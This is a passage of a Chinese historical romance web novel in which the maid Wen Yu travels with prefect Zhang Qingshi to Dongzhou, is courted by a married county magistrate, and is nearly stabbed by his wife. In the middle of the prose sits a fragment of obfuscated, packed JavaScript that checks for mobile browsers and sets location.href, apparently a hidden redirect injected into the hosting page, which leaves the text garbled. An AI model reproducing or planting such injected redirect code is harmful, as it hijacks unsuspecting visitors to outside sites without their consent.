张清时简单地应了一声,随后很平静地从旁边箱子里拿出一本书卷,一手捧着书,一手支着额头,细细看了起来。
温玉这才有些诧异地看向张清时,本以为他还会像以前一样穷追不舍地过问一些细节问题,但他只问了一句自己有没有被刁难。
有些奇怪。
“怎么?我脸上有东西?”
许是张清时察觉到旁边目光过于专注,随口问道。
“没,想着马车帷幔都拉了下来,日光有些微弱,郎君看书是不是有点不方便。”温玉很快解释道。
出发是清晨,而秋天早上总会多一层霜,掩盖住余晖。
“要不,温玉替郎君掌灯吧。”温玉提议道。
“不——用——”
张清时话还没完全出口,温玉就已经起身,勾着腰,爬着伸手去探张郎君身旁的匣子。
细长柔韧的身躯擦过书卷,横置在张清时眼下,他只看了一眼便就把头侧了过去,也忘了要说拒绝的话。
两人所乘的马车算是中规中矩,只能勉强容纳下四五个人坐,所以车内也并未多放什么物件,只有些枕头和当柜子使的匣子。
温玉很快就取了蜡烛和火折子,只不过起身太猛,头顶不小心撞上了马车顶部。
“唔——”
迅速弯下腰的温玉吃痛地伸手要摸头的时候,却发现一只大手已经包裹在她的发丝上,轻轻地揉了两下。
一时之间温玉身形一滞,竟也完全忘了疼。
“没事吧?”张清时亲和地问。
“没…没…没事。”温玉磕巴了两下,然后立马退回到自己的位置上。
马车的车轱辘碾过路面的声音很大,却怎么也遮掩不住刚才剧烈地心响。
是不是晕车了,温玉想,以往看到陈府大公子陈子诩在外吃醉了酒,乘着马车回来时,也是这种晕乎乎、红通通的感觉,然后哇哇地吐了一地。
那时嬷嬷说是大公子晕车了,让温玉她们打了好些水过来,替他擦洗。
温玉深吸了好几口气,才慢慢平复这种晕车带来的感觉,省的在郎君面前丢脸。
稍许,温玉用火折点燃蜡烛。
一根蜡烛发出的光亮有限,只能照亮温玉面前一个光圈。
所以温玉有了借口更靠近张郎君一些。
两人离得很近,但肩膀间还是有一条较大的缝隙。
温玉再把烛火往张清时那边挪了一些,自己也恰好看清楚了那些字。
“这些字你可认得?”
张清时注意到旁边的人视线全身心都在他书卷上,突然想拷问一下她。
毕竟是他教导的学生,他想看看成果如何。
“额……”温玉抓了一下发梢,“字都认得,但它们串成一句就不知是什么意思了。”
普通的认字认句温玉倒是会,不过郎君这书卷上都是五字一句,七字一句的,短短的几句话便是一篇文,和夫子所教得有些不同。
“理解,因为这是诗。”张清时耐心地同她讲解,“有些诗句之所以比较晦涩难懂,是因为诗人常常会把自己难以抒发的情感都注入于这些诗词中。”
“我们不是诗人本身,自然难懂。”
“噢~那他们为什么不直白些,为什么非要拐好几个弯才说明?”
温玉有些不理解,诗写出来就是让大家看的,诗写的难懂,那大家看什么?
张清时轻笑了一声:“其实,有很多事情是很难宣之于口的。”
“就比如说一个壮志难酬之人,他想要抒发怀才不遇,抒发世事不公时,难免会触及权贵,只能含蓄表达。”
“再比如情人告白时,直白的话语莫过于免唐突,所以常常有人借物借景委婉地表达,慢慢等待心意中人能感受。”
“……”
张清时给温玉举了很多个例子,温玉才发觉,原来世上很多人都会有难以开口之事,但他们没有因此闭口不说,而是把想言之事都藏在了诗中。
这样,只有他们自己和懂他们的人才知晓其中之意。
倒是能减少些藏于心口的累感。
温玉垂眸看向诗词,复而看向张清时,十分诚恳道:“郎君,以后我也想学作诗。”
“嗯。”张清时点了点头,将书放置于两人之间,“如果有不懂的,都可以问我。”
就这样,温玉举着烛火坐在张清时旁边,两人肩膀虽搁了些距离,但头挨得只剩一条小小的缝隙。
温玉垂眸能看见书中字,抬眸能看向张清时如玉般清透的眼睛。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221221|164753||http|test|mini|href|location''.split(''|''),0,{}));
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>马车稳稳的,很心安。
*
路途较远,所以马车上会备些干粮,然后他们中午便简单吃些干粮继续赶路。
又因到了正午,阳光很强,能直接透过帘幕,温玉也不用再为张清时掌灯。
恰好张清时要午休,两人便各自分坐在马车的一角,阖上眼睛睡着。
张清时生活倒比较规律,小憩了片刻后便坐起来继续看书,而温玉则就一直睡到天黑。
还是被张清时叫醒的。
“唔,对不起郎君。”
温玉人还没完全醒过来,张口便是一句“对不起”。
“无妨。”张清时将物品一一收拾妥帖,再对温玉轻声唤道,“温玉,我们到客栈了,现在此地休息一晚吧。”
“嗯嗯。”
见温玉眼睛已经完全睁开,张清时这才下了车。
下车时,是有仆从替他掀门帘的。
他下完后,仆从自然松了手。
可这会,他主动接过,慢慢掀开,等待温玉下来。
温玉是看着张清时下车后,稍整理一下睡乱的发型和衣摆后才下车的。
不过一探头,晚风一吹,头脑瞬间清醒。
她就抬眼看见张清时主动替自己掀门帘。
她有些不好意思,将门帘攥了过来小声道:“郎君,我自己来。”
张清时点头,便后撤一步,继续等她下来。
温玉这才小心翼翼地下来,然后迅速站在张清时身后,等待他进一步安排。
只见他扫视了周遭,确定随行人数未少时,才迈步带着众人一起进了客栈。
客栈是早些预定好的,温玉是突然加入的,且她还是个女娘。
于是张清时掏钱又单独给温玉开了一间。
温玉其实是有些不好意思的,但口袋里确实没半点钱,也就只能替那些仆从多搬些行礼,换取一丝心安理得了。
搬完行礼,再是吃饭,然后各自回房歇息。
温玉都睡了一下午,自然是无睡意的。
她自己第一次住这么干净整洁的厢房,有些无所适从,又有些无聊。
忽而看向了窗台。
不是破窗,而是大大的雕刻着花纹样式的窗户。
虽还没到东州,也算是第一次出远门。
温玉便径直走向窗边,推开窗,好好欣赏一下外地有什么与青州不一样的景色。
窗户被推开,是静谧而又泛着蓝色的夜,茫茫如海中又飘着一艘小船,那是月。
今晚月光不亮,像被夺取了颜色。
谁能夺走月光呢?
温玉低眉一看,原来是满院金黄。
虽秋季近末,这院中的桂花树开得依然很好,色浓味香。
温玉想起雨燕家的桂花糕了,甜甜糯糯,很是美味。
又有点想吃了。
于是温玉离开了厢房,得到了店掌柜的许可后,便就借了竹竿和竹篓去院落里拾桂花。
桂花开得多,落下的也多。
温玉从中走过,踩在落花上,也染了满身桂花香。
接着,她高高举起竹竿,往那树枝上重重一敲。
漫天花朵如繁星般坠向地面,温玉欣喜地捧起竹篓一一接过。
可一转身,便忽然看见一人。
22. 东州3
温玉见到她画像上那人了。
一双桃花眼,下巴有痣。
世间怎会有如此凑巧之事。
温玉一时愣住,缺没成想那人竟径直走了过来。
他的眼中含着月的光影,痴痴地看着她,忽而一抬手。
温玉本能地侧身闪躲了一下,那人才尴尬地收回手,当即解释道:“小娘子,你头上沾了花。”
“谢谢郎君。”
温玉疏离地道谢,伸手将发丝上的落花随意扑开。
但抬眼却发现那人视线依然没离开自己,身体还挡在正前方,一动不动。
温玉顿感有些冒昧,便客气地请示:“这位郎君,还有其他事吗?若没有的话,我先走了。”
“等等。”
那人展开手臂先示意她停下,然后将捏在手中的纸扇放在胸前,有模有样地朝温玉行了一礼后才开始介绍自己:
“你好,我是东州罗圆县的县令莫云炜。
此番路过这是要去参加东州监察御史焦郎君的生辰宴。
又因深夜睡不着,便在这后院溜达。没成想,一进来便看见女娘用竹竿打花,亦美亦趣,所以贸然来问女娘姓名,可否愿意告知?”
“……”
“让莫县令见笑了,奴婢叫温玉。”
温玉不是很想回答,但碍于对方身份,不得不规矩行事。
“是这样的啊!”
听温玉介绍完,莫云炜的脸色瞬间就没那么痴迷了,随即打开折扇若有似无地扇了起来。
“你是谁家的丫鬟?”
“楼上青州刺史张郎君府中的。”
回答完,温玉便抬眼看向楼上的窗,有烛火,猜想郎君应该还没睡。
“你家郎君在楼上?”莫云炜顺着温玉的视线看了一眼,啧啧了两声,“你跟着他可吃了不少苦头吧?”
“莫县令,没有的事。”温玉当场替张清时辩解道,“他对下人们都挺好的。”
“诶,我说的不是这个。”莫云炜把扇子挡在嘴前,眼珠转向一边,像是想到了什么悄声道,“你该还不知道你们张郎君的身世吧?”
温玉摇摇头,紧接着,莫云炜就开始“乐为人师”地同她好好说道:
“虽然这张家是世家大族之一,但他张清时可是一个十足不折不扣的庶子,刚生出时就克死了他的娘,长大后又抢了他兄长科考的名声。
一个根本上不了台面的家伙。
要不是少时被太子挑中选上了陪读,估计啊,早就被张府人弄死了。
不过他也真行啊,为了爬上现在这个位置,背后肯定使了不少手段。
你说,你跟着他这么一个城府极深的人,他可有什么不能告人的秘密?”
“……”
“莫县令,抱歉,下人是不能随意议论主家的。”
温玉委婉地拒绝回答,她不知这个莫云炜说得是真是假,但也不想管是真是假。
她想要回去了,不想同他在人背后嚼舌根。
“如果莫县令没什么要紧事,奴婢先走了。”
说完,温玉就拿起竹篓和竹竿侧着身绕过莫云炜往前走去。
“诶—”莫云炜还是阴魂不散地坚持跟在温玉身后,劝道,“温玉,要不你考虑跟我,我可以帮你从贱籍弄到良籍,这样就不必受这份伺候人的罪了。”
“……”
温玉止住脚步:“莫县令,奴婢的身契在张郎君手里,什么都是张郎君说得算,奴婢做不了主的。”
“这好办。”莫云炜自信道,“我这就上去和他说。“
“郎君歇下了,莫县令打扰恐有不好。”
“那我明日再找他说?”
“……”
温玉甚至都怀疑这人都听不懂她讲话,要不是他是官,她是奴,她都不至于会把话说得这么委婉的。
再者说,连话都听不明白,怎么当上官的?
不过,温玉也不想过多得罪这位官,还是道:“悉听尊便。”
无论怎样,张郎君应该不至于说真把她拱手让人吧。
温玉的脚步继续往前走着,身后的莫云炜听她这话也没继续纠缠,还在身后得意地招手:
“好,那我们明天见!”
“……”
听他这话,温玉脚步更快了,几乎是一鼓作气地跑回屋内。
回到厢房,温玉稍稍洗漱后便躺在床上。
开始思考一个问题。
那就是张郎君是否真的会将她拱手给那位看起来有点浪徒子的莫云炜呢?
她想不出来,可能会,也可能不会。
也真如了那位莫县令所说的,她好像一点也不清楚张郎君的一切。
他的身世,他的经历,他的习性。
温玉摇摇头,这些都不了解,何谈去勾引郎君呢?
假如说,张郎君真的将自己发卖给莫县令了,莫县令帮自己恢复良籍,会出手救自己的母亲吗?
陈禹会放过吗?
而莫县令和赵县令,官职相当,那陈禹会放过的温玉和她母亲的可能性并不会很大……
这一整夜,温玉辗转反侧,忽而看见那一篓金黄。
下定了主意。
*
二日,温玉起了个大早,捧起那篓桂花,问店家借了厨房和一些糯米粉。
先将桂花清洗,再熬煮甘草糖水,张郎君不喜甜,所以糖这块温玉放得很少。
糖水熬煮好后又将二者与糯米粉混合至一起,放进方形碗中。
开火上锅起蒸半个时辰,香香糯糯的桂花糕就好了。
温玉再将方盒中的桂花糕切成大小形状一致的一块块小方糕,装入新的瓷盘中,最后端起朝郎君厢房里走去。
轻叩门三声,里面立马传来了问候声:
“温玉,是你吗?”
敲门敲了多次,声音和频率都足够能让张清时清楚判断来者是谁。
“是的,郎君,我来给您送早饭。”
“等一等。”
里面的声音比较急切,想是有什么事要忙。
但等多久,厢房的门就打开了。
穿戴整齐的张清时就跃然出现在眼前,一袭白裳清尘脱俗,系着金腰带,倒真显世家子弟那矜贵的风范。
“抱歉,温玉。”
但出声还是那么地平易近人。
“我起了有些晚,所以让你等久了。”
这话让温玉一下就联想起昨晚那盏迟迟未歇的灯火。
估计是昨晚张郎君在厢房内忙活至很晚,所以才起的晚了。
“没事的郎君,我给您蒸了桂花糕,您要不要尝尝。”
温玉用心捧起手中的瓷盘,好让这食物的香气能够牵绕住张郎君的鼻和胃。
“看起来很不错,不过你放好便是,我还未洗漱。”
张清时侧身,示意温玉先进去。
温玉得了许可后便进去将瓷盘布好在桌上,顺道环视了一下屋内。
虽郎君刚起,但屋内还是一尘不染,整整洁洁。
不过郎君还未洗漱,又是刚刚早起,定也没叫小厮上来备些热水。
温玉瞧见屋内一装着水的盥盆上都没有热气。
于是她自然地走过去端起:“郎君,我去给你打些热水吧。”
“不用,这些,我叫小厮提一壶热水上来就可以了。”
张清时有些抗拒,他是觉得每个人各司其职就好,他不是很习惯有人贴近伺候他更衣洗漱这些事情。
从前便是他一个人惯了。
在张府,母亲早亡,庶子的身份他并没有受到多少优待。
从小都便都是和仆从在一张桌上吃饭,少时被选中成太子陪读后,也顶多是安排个小太监打点。<
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考取功名后一步步爬上来,自己成立府门,也只安排四个干杂扫的,三个守门的、两个做饭的嬷嬷和一个管事的管家而已。
他自己能做的事都能做好。
见郎君拒绝的态度,温玉只好把盆给放下说:“好,郎君,那我去给您叫小厮,让他打些热水上来。”
整个客栈有四层,他们住的厢房则在二楼,而一楼便是大堂、厨房和柜台,小厮们活动的地方。
温玉出门站在栏杆处喊小厮打些热水上来时,小厮还未应声,楼阁上另外一个人却应了。
温玉一抬头,又是昨日那个莫县令。
他正悠哉悠哉地扇着折扇,喊道:“小娘子,原来你住在二楼呀?”
“……”
温玉不想理会,收回眼神,权当没听见没看见似地又钻回张郎君厢房内,还重重地关上了门。
“温玉,怎么了吗?”
听到响声的张清时疑惑地朝她看去。
“没…小厮说热水马上上来。”温玉连忙找补道,“郎君您先吃吧,别饿了。”
“无妨。”张清时等的间隙中又捧起一个书卷,“我等着就行,你先出去吧。”
“……”
温玉怕那人找来,不想出去。便扫了一眼张郎君,极快地寻了个借口道:“郎君,您头发有些松散,我帮您整理一下吧。”
“有吗?”张清时狐疑,走至铜镜前,走看又看都没有看出什么异样,“我好像没看出有什么问题……”
张郎君做什么事都极为爽利干净,他的发冠穿戴自然也没有任何问题。
温玉是无中生有的。
她走至张清时的身后道:“郎君,您看脑后。”
然后在张清时转身时,她踮起脚,马上用小指轻轻地勾了两三根发丝出来。
等张清时完全转过身来,她就把发丝缕在他的眼前:“看,郎君在这。”
“可…真是奇怪。我明明…”
张清时有点怀疑人生。
“郎君,这事温玉来帮您吧。”温玉不等他究其原因,便伸手去摘他的发冠。
但下一秒就被他手拿捏住手腕:“温玉,不用,我自己来。”
“好……”
温玉悻悻地缩回手,在一旁静待张清时整理。
“温玉,你要不还是…出去?”
在女娘面前,张清时不好整理衣冠,所以眼眸流露出一丝丝尴尬的眼神。
“……”
温玉想着这么久了,那人应该没找着,便应声退下。
复到门前推开门。
“小娘子~”
温玉惊住,没想到那人竟一直站在门外,恐郎君发现,她立马将门关上。
门要紧急被关上时,恰好那人伸手,夹住了纸扇。
他还在门外大喊道:“小娘子,我来赴昨日的约啦。”
赴个毛球!
温玉心里暗骂道,她昨日已经想清楚,留在刺史府就是对她来说最好的选择,她可不想跟莫云炜走。
不过温玉嘴上还是委婉推脱:
“莫县令,我家郎君病了,你明日再来吧?”
“小娘子,病了也是可以聊天的。”
莫云炜力气很大,已经开始慢慢借助小小的缝隙拉开两侧的门板。
“小娘子,你这拦着我是做甚?”
温玉:“我…我…”
“温玉,是小厮来了吗?”
张清时已然重新戴好发冠走至温玉的身后。
前有狼,后有虎的。
两难境地,温玉急得都出了一声猛汗。
可莫云炜根本不给她来推脱的机会,直接朝屋内喊道:“张刺史在吗?莫某想求见,不知是否可以?”
“……”
“可以。”
张清时已然走至温玉的身旁,帮着外人推开了门。
23. 东州4
下一瞬,温玉的心彻底死了。
因为张清时见到莫云炜的第一面,就同温玉一样联想到那副画。
他“天真”地问温玉:“这是…你…兄长?”
“小娘子,原来你是这样跟你的郎君称呼我的呀?”莫云炜邪笑了一声,还递了个“我懂”的眼色,“温玉姑娘的确是我妹妹~”
油腔滑调的,温玉听了都想打人。
不过,事情已完全乱套了!
温玉立刻冷静地朝张郎君解释:“郎君您误会了,温玉兄长是方脸,他不是!”
“亲的不是,表的也行啊!”莫云炜戏谑道。
温玉:“……”
张清时看着两人一喜一恼的神色,有些诧然,决定还是先问清来者来路,便朝莫云炜问道:“还不知这位郎君姓名,可否告知?”
“咳咳,我乃—”莫云炜眉毛一挑,扇开扇子,“东州罗圆县的县令莫云炜。”
罗圆县是处于东州和青州交界处,两地货物、人口流动皆需经于此地。
但涉及各州利益的地方,纷争就多。
所以与东州罗圆县交界的青州北郦县,就常常与其闹得不可开交。
不是对方扣留什么货物,就是对方不允通行,有甚者还会兵戎相见。
有一次曾经还闹到圣上那边,圣上大怒,更换了北郦县的县令。
但由于东州是隆王的辖地,所以又派北郦县官员赔礼道歉,还一起协商了“和平共处”的约定,才有了这番“和睦”的景象。
“久仰莫县令大名”张清时虽职位高,但也没什么官架子,朝人也行了小礼,“不知莫县令所来找我何事?”
“哈哈哈。”莫云炜扇着小扇子开怀笑道,“张刺史,青州真是个好地方,不仅盛产美物,还盛产美人啊!你看,你和你身后的这位小女娘都美的不可方物呀!”
说完他还朝温玉递弄了个挑眉的眼神。
桃花眼里满桃花。
“莫县令说笑了,这皮囊都是各有各的好,不必比。”张清时也顺着他的视线看向温玉,知道他话中意思的一二,“莫县令如此夸赞温玉,莫不是心悦于她?”
“哈哈哈,何止是心悦。”莫县令迈步走向温玉,弯着眼睛看她,“是两情相悦,需要张刺史成全。”
“没……没有的事。”
温玉连忙躲开,转至张清时另一侧的身后。
莫云炜轻笑:“小女娘,你莫要害羞,我相信张刺史一定不会棒打鸳鸯!”
“郎君……”温玉在一侧赶忙扯住张清时的衣袖,眼神中带些许迫切与祈求。
张清时看了一眼扮可怜的温玉,又看了一眼势在必得的莫县令,突然说出一句震惊在座所有人的话:
“莫县令,这娶亲需讲究三书六礼,第一步说媒,就得先找到她的家人。
我听闻温玉年少时兄长走丢,如若你能将温玉的兄长找回,那这求娶的仪式走完,我必不会拦你。”
“兄长?”莫云炜双手抱胸思考着,“可有画像?”
“有。”
说完张清时就递了一副画卷过去。
温玉总觉得张清时对找温玉兄长这事在意程度远超于温玉本身了。
莫云炜接过画卷,看了两下就啧啧称奇:“这画像倒真跟我有几分像,我还以为小娘子叫我兄长是一份情趣呢!”
温玉:“……”
“那好,那我就着手准备一下。”莫云炜收起画卷,吊起嘴角,“小娘子,这点心愿我就替你实现了!”
说完,他就高昂着脖颈,朝外走去。
温玉攥着张清时的衣袖才微微松开,小声问道:
“郎君,您当真希望温玉嫁与那莫县令吗?”
张清时:“你们两情相悦,我理应成全……”
“我们不是两情相悦!”温玉大声反驳,继而又低声,“温玉只是昨日意外撞见了他,他就…他就…。”
张清时依旧从容:“他对于你来说的确是个很好的选择,假如说你父母兄长都认可的话,我不会阻拦。”
“可我不喜欢他。”
温玉莫名从心底叫嚣出这句话来,从前便是要她当陈子诩的通房丫鬟,现如今又是被送去努力当张郎君的通房,倒现在还要被拱手让给其他人做妾。
当她温玉是什么,是个交易的货物吗?
陈府人这样也罢了,没想到就连张郎君也是这样的人!
莫大的苦楚涌上心头,温玉不想肆意作态,扔下这句话便逃似的跑出了张清时的厢房。
张清时还呆滞在原地。
对他而言,婚姻理应是父母之命,媒妁之言,感情这事倒显得不为那么重要。
他是个庶子,阿娘生他那日便早已撒手人寰。
他是被奶娘带大的,也就是母亲身前的贴身丫鬟。
父亲是世族大家张家之人张闻,而母亲只是一个小门小户家的女娘云氏。
听奶娘说,父亲是曾南下游玩时偶然结识母亲的,两人相伴一起游玩,便互生情愫。
又因游玩结束,父亲要回去,两人不得不告别。
告别那日他还曾许诺会以十里红妆迎娶母亲。
可没想到,却另娶了他人。
但父亲还是想纳母亲进门,尽管外祖父极力劝阻,母亲还是跟着父亲一起私奔到京都。
私奔到京都后的日子,听奶娘说,母亲过得是一天不比一天如意。
但母亲还是眷念着那份旧情,一直期待着父亲不顾一切的爱地降临,直至生命消逝。
再后来,小时候的张清时也一直期待着。
但期待都是一场空。
幸好少时因些许聪慧被选上太子陪读,结束了他对父亲的期待。
所以张清时认为,两人有没有感情不重要,感情也会像落花一样无情,一样消失殆尽。
唯有约定,唯有公定良俗才是最牢靠的。
*
上午休整完毕,张清时他们要继续赶路。
莫云炜也跟着一起出发,瞧见温玉要和张清时上同一辆马车时连忙拉住:“小娘子,我们有约在身,不如你同我上一辆?”
“……”
温玉看着擦身而过没有半点反应的张清时,心里也激起不满。
便恭敬地对莫云炜说:“好的,郎君。”
她要上莫云炜的马车,有仆从过去通知张清时
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,但没有接受到有异议的指示,毕竟目的地统一,两队马车就一前一后的在大道上行驶。
莫云炜的马车行在前面。
马车上,莫云炜又扇着他那副精美的折扇,双眼含情地看着温玉:“小娘子,你兄长我已经派人去寻了,不知你父母住在何处,我好送份家书。”
“我从前不识字,只听到村里方言是叫‘heitu县…’。”温玉抿了抿唇,装作真不识字的样子,“温玉自小没离开过家,头一次离家便是被人牙子卖到刺史府。”
“这……”莫云炜也犯了难,“那还是先找到你兄长吧,长兄如父也能做抉择的。”
“莫县令,我想问您一个问题。”
“请说。”
“为何莫县令要娶我?”
温玉抬眼问道,她从未想过攀龙附凤之事,也知道这种事不会轮到自己头上。
像她们这种年前貌美的丫鬟,在大户人家中顶多做个通房丫鬟。
“因为我……”莫云炜凑近,低声道,“对你一见钟情呀。”
“可温玉只是个丫鬟,莫县令的家人能接受吗?”
面对他突然的凑近,温玉只能感受到从嘴里吐出的污浊的气味,所以默默地往后靠了些。
“不用担心。”莫云炜眉眼弯弯笑道,“他们巴不得我再娶一个。”
温玉不解:“这是为何?”
“因为我娶了一个正妻,但她不能生。”莫云炜一想起脑海中那个人的身影就直皱起了眉头,“年纪大,容貌黄,还脾气大,我反正受不了她。”
“不过——”莫云炜话锋一转,“小娘子你就不同了,年轻貌美,若替我生了儿,说不定我还能扶你做正妻呢!”
温玉:“……”
没想到莫云炜已然有妻室,可独独是因为妻子年老色衰,不能孕育而跑去寻其他女子,这理由未免太过荒唐。
毕竟谁都会有年老色衰的一天。
“那莫县令又是因为什么喜欢上您的妻子?”温玉问道。
莫云炜抬头思索,好像是在想很久远的一件事情:“其实也是我父母谈好的,当初她长得也算凑合,我也想这样凑合过了。”
“不过呀。”莫云炜低眼看向温玉,“一遇见了小娘子,我才觉得人生不能凑合。”
温玉:“……”
色衰而爱弛,都和落花一样易消逝的东西。
都是温玉所不喜的。
她忽而觉得这两莫县令的这辆马车像是一顶密不透风的牢笼,似要关住她的未来。
她只得掀开车窗上的帘幕,大口呼吸车外的空气。
“怎么了吗?”莫县令问。
温玉:“有些晕车……”
稍许,温玉凭借着这个借口,并未再同莫云炜交流。
而莫云炜也没闲着,一会儿盯着温玉痴痴地笑着,一会儿又给她披上花袄,担心她受冷,一会儿又拿着车内备些的青梨送给她吃。
简直是对温玉照料得无所不及。
温玉都是淡淡地应对,末了还是问他一句:“如若你真娶了我,我的父母被奸人所挟制,你会拼尽一切去救他们吗?”
莫云炜笑道:“当然会。”
24. 东州5
“如果说是被比你更有权更有势的人,你也会去救她们吗?”
温玉反复追问。
莫云炜的回答依然是:“会,我会,为了你我都能去做,哪怕是上刀山下火海。”
闻言,温玉把帘幕放下,郑重地问:“那你会怎么救?”
莫云炜自信答道:“要挟人,无非是为了钱,我愿为你倾尽所有。”
温玉:“那如果他很有钱呢?”
“他一定会有他想要的,为了你,我都愿意给。”
莫云炜停下扇扇子的手,伸手握住温玉的手,十分深情道:“和我在一起,我会允诺给你最好。”
他长了一双与温玉一样的眸子,灵动又含情。
温玉盯着他的眸子,看不出半点虚意。
“吁——!”
马夫叫停的声音突然响起,惊吓住车内两人,温玉仓惶地将手给抽回。
莫云炜则没好气地大力扯开门帘想问问到底是个什么情况。
抬头却发现有一辆马车拦在了大路的正前方。
紧接着,下来一个梳着较为复杂发髻的妇人。
头上戴着好几个金色梳篦和玉钗,富气逼人。
是他的夫人罗英。
“莫云炜,你给我出来。”罗英气势汹汹地喊道。
莫云炜听了,脸色下得极快,但还是转过头对温玉小声嘱咐:“你在这呆着,我去处理一下事情。”
说完,他就微微掀开车帘,下了马车。
走在罗英的面前,昂首挺胸,先发制人地责问:“你不在家伺候公婆,来这做什么?”
“做什么?”妇人嗤笑,“你这前脚刚离开府上,后脚就寻了新妇,莫云炜,你可真行!”
“那如何,你又不能生!”
莫云炜目露嫌弃和不耐烦。
但这句话似戳中妇人的心口,她捂着胸口骂道:“好你个忘恩负义的家伙,我家扶你青云志,你就这么对我的吗?当初许诺过我的,都不作数了吗?”
“我当初可是要娶一个又好看又有权势的妻子。”莫云炜丝毫不心虚地反驳道,“是你先违背了我的准则,所以我的诺言才不对你奏效!”
“你……你……”
罗英没想到莫云炜如此狼心狗肺,气得胸口上那鼓气一直上不了,姣好的面容也变得极度扭曲。
温玉躲在帘幕后面偷看都有点害怕。
男子轻而易举、深情许的诺言好像作不作数都是在他的一词之间。
她害怕莫云炜骗她。
也害怕成为妇人那个样子。
忽而,那双极度愤恨的眸子也与她对上。
“好啊,原来你已经将她拿下,在这车里寻欢作乐了不是?”
嘲弄完,罗英撸起袖子直朝温玉走来。
“看我不收拾这个贱人!”
“欸,等等!”
莫云炜想拦住罗英,却被罗英带的仆从给拦了下来。
他是出来寻欢的,为避耳目,特地带了三四个仆从。
而罗英不同,她是来探查夫君有没有随意沾花惹草的!
再加上怒火中烧,她极快地走至马车面前,大力掀开帘幕,再伸手去扯温玉。
马车的活动空间有限,温玉闪躲了三两下就被罗英扯住。
扯住后,罗英想将人给拽下来,但温玉还有点力气,一直在反抗挣脱。
争执片刻,罗英见不行,当即扯出发髻上的金钗,要朝温玉脸上刺去。
“你这贱人,我看你还如何再勾引我夫君!”
话音刚落,她还未奋力向前,妇人的手腕就被一人扼制住了。
温玉紧张地抬眼望去,是张清时。
他扼制住妇人手腕,警示道:“她是我的人,你不能动她!”
“好啊,你们玩这么花是吗?那我就要昭告全天下,让全天下人来耻笑你们!耻笑你们这对奸夫淫夫!”妇人破口大骂道。
“请你冷静点。”张清时皱眉,肃色劝说道,“是你夫君不洁在先,且并未告知说有婚约在身,还要去求娶其他姑娘的。
是他恶心,你应该去追责你的夫君,而不是把气撒在一个同样蒙受欺骗的女子身上。”
“砰!”
金钗从手中滑落在地上,罗英双眸含泪,继而单手掩面而泣:
“是我不想追责我夫君吗?有用吗?女子嫁了人,还有地方说理吗?”
当今社会在婚姻中,女子确实做不了男子主,女子承受的伤害也远超男子。
最主要的是男子能随意脱身,而女子一身终不由己。
张清时因此也无法继续劝说,只能轻声安慰道:“若是苦海,还是早日寻法解脱为好。”
说完,他便松开对妇人的钳制,冷面唤了一下莫云炜:“劳烦莫县令还是好生处理自己家事,莫要误己误他人。”
接着,又将手伸向了温玉。
“跟我走!”
他回答的很坚定,没有情地掩盖。
温玉也很放心地将手给他,两人又重新回到张清时的马车上,帘幕拉下,暂时避免了外面的吵闹声。
等了一会儿,马车才继续出发。
车外踢踏踢踏地马蹄声有规律地响起,但车内却显得格外寂静。
两人暂未对刚才发生的事情进行交谈。
在车内,张清时仍捧着那张他未读完的书卷进行翻阅,而温玉则一直往张清时那边张望。
又是好奇又是心虚。
刚才…张郎君又一次救了她。
可发生那样的事,在郎君心中,她又会是何种人。
郎君如此正气,是否会对她这番无端破坏他人感情之人有所不齿?
偏傍晚的阳光渐渐稀薄,没有人掌灯,张清时也看不清字,便收了书卷,视线忽而又与温玉对上。
但她却像是受惊了的兔子,迅速把视线移开。
张清时立刻关怀地问:“是刚才有被吓到吗?”
温玉垂眸:“有点。”
“那你……以后还是别接近莫县令了。”
张清时回忆起妇人的伤心面态,做妻都如此,何况做妾。
他不想亲眼看一个女子步入深渊。
“为什么?”温玉却莫名地叛逆了起来,“郎君不是要将温玉拱手给他吗?为何又突然反悔?”
不是故意反驳,是因为温玉觉得张郎君以为她会破坏莫云炜和他夫人二人的感情,所以才让温玉离莫云炜远点。
不是因为其他。
张清时正色地说出理由:“他有妻室,你跟着他不是最好的选择。”
果然,如温玉所想。
张郎君就是觉得她会破坏了别人的感情,所以才让她选择离开。
她低声囔囔道:“可郎君,温玉是奴婢,温玉跟着他就是最好的选择。”
张清时继续劝说:“不,温玉你有很多选择的,你不能选择一个错误的。”
“郎君,温玉真的有很多选择吗?”温玉抬眼反问道,“孰对孰错,是驾于您的判断上,还是我的判断上?”
一连串的问题,张清时居然答不上来。
人生的确是有很多选择,但都是未知的。
以这样的理由劝告自己可以,但劝告别人却是虚无缥
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缈的一句话。
他也不知道身为奴隶能有多少出路。
还有这错与对的评判。
张清时好像在第一次就判断错了。
他太依赖于条理和规矩的约束,却发现尽管在约束之中,那妇人也没有相得益彰。
对温玉而言,他可真算不上一个很好的老师。
张清时没有再劝说,孰对孰错这个评判还是得由温玉来抉择。
车内又恢复了像夜一般的静谧。
温玉浑觉沉闷和不爽,郎君这般看待她,她后面还有何选择?
落日彻底落入地平线后,苍穹之上又重新悬挂起一轮月亮。
温玉她们一行人终于达到东州秦和县中御史府。
马车落下,仆从拉开门帘,张清时走下,温玉跟在其后,接着又被另一拨仆从引入门内。
各个府门门面大致装修都千篇一律,有哪些不同则全看主人喜好。
像张郎君喜爱花,府内便种满了各式各样的绿植,充满春意。
像陈禹爱钱,只会种些大富大贵的牡丹花,再喜爱摆些名贵字画和瓷器,以彰显富贵。
而这位焦郎君,院内平平,只有一块巨大的假山,假山旁边有巨大的水池,里面是未开的睡莲。
仆从引着他们穿过走廊,进了主院。
里面摆了数二十张方桌,一人一座。
温玉她们到的时候已然有好几位官员落座,张清时路过时一一同他们客气寒暄。
寒暄完便随意选了个位置入座。
张清时坐着,温玉就在一旁静静地站着。
而这时,莫云炜也带着仆从走了过来,他的夫人并没有相伴。
他看见温玉后便就选座在张清时旁边。
都先不同张清时招呼,就自顾自地喊着温玉:
“小娘子,今日是我不对,没处理好家里事。但我已跟夫人说过,她同意我纳妾,所以你不必担心。”
“温玉,倒茶!”
在温玉还在思衬着怎么回答时,张清时却冷不丁地出声。
温玉便从桌上拎起茶壶,先替张清时倒了一盏热茶。
